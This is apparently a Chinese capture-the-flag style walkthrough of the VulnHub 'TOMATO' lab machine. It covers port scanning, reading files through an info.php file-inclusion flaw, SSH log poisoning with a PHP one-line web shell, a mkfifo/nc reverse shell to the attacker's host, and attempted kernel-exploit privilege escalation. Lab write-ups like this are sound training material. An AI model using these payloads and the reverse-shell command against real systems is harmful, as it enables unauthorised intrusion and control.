vulnhub TOMATO靶场
1.信息收集
扫描存活主机
sudo arp-scan -l
扫描开放端口
nmap -p- 192.168.42.152
扫描开放端口服务
nmap -p 21,80,2211,8888 -A -sV -T4 192.168.42.152
查看网站指纹
whatweb 192.168.42.152
2.漏洞挖掘
访问网站
只有一张tomato照片
F12源代码也没有线索
接着访问8888端口,弱密码登录不成功
只好找找敏感路径
逛逛找到的路径
http://192.168.42.152/antibot_image
找到一个phpinfo界面
http://192.168.42.152/antibot_image/antibots/info.php
查看源代码发现get传参image
http://192.168.42.152/antibot_image/antibots/info.php?image=/etc/passwd
读取成功
既然可以,尝试一下读取日志
ssh的登录日志(在这里也可以是我们发现的指纹apache的日志)
/var/log/auth.log
http://192.168.42.152/antibot_image/antibots/info.php?image=/var/log/auth.log
访问成功
3.漏洞利用
尝试通过ssh登录上传一句话木马
扫描出2211为SSH服务
ssh '<?php system($_GET[cmd]);?>'
@192.168.42.152 -p 2211
打开蚁剑,连接成功
url
http://192.168.42.152/antibot_image/antibots/info.php?image=/var/log/auth.log
密码
cmd
nc反弹shell
发现-e命令没有
使用以下命令
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.42.145 8888 > /tmp/f
反弹成功
nc -lvp 8888
4.提升权限(失败,但有解决方法,有成功案例)
把本地改为交互式终端
python3 -c "import pty;pty.spawn('/bin/bash')"
查看内核版本,尝试内核提权
uname -a
查找内核漏洞
searchsploit Linux ubuntu 4.4.0-21
选择其中之一,下载exp
searchsploit -m linux_x86-64/local/40049.c
用蚁剑上传/tmp目录
/tmp普通用户权限高
4.1错误一:无gcc环境
编译exp文件
gcc decr.c -m32 -O2 -o decr
gcc pwn.c -O2 -o pwn
./decr
./pwn
发现无gcc环境,想着解决这个问题,在本地编译好,直接在靶机上运行
他是32位的环境,我打算找找新的exp
4.2错误二:
下载新的exp
git clone https://github.com/kkamagui/linux-kernel-exploits.git
上传错误“GLIBC_2.34”,
这个错误提示意味着你的Docker容器中缺少GLIBC_2.34版本的依赖库
GLIBC(GNU C Library)是Linux系统上最常用的C库之一,它提供了许多基本的系统函数和工具。它是Linux系统与应用程序之间的接口,用于提供操作系统级别的功能和服务。
好像可以下载对应的版本可以修复(可以试试)
但作为hack,而且下载也不一定有权限,放弃
4.3他人的成功案例
下一台与靶机环境相同或相似的环境
在该环境下编译,把编译好的exp上传靶机
在靶机上赋权,执行,得到root权限
提权成功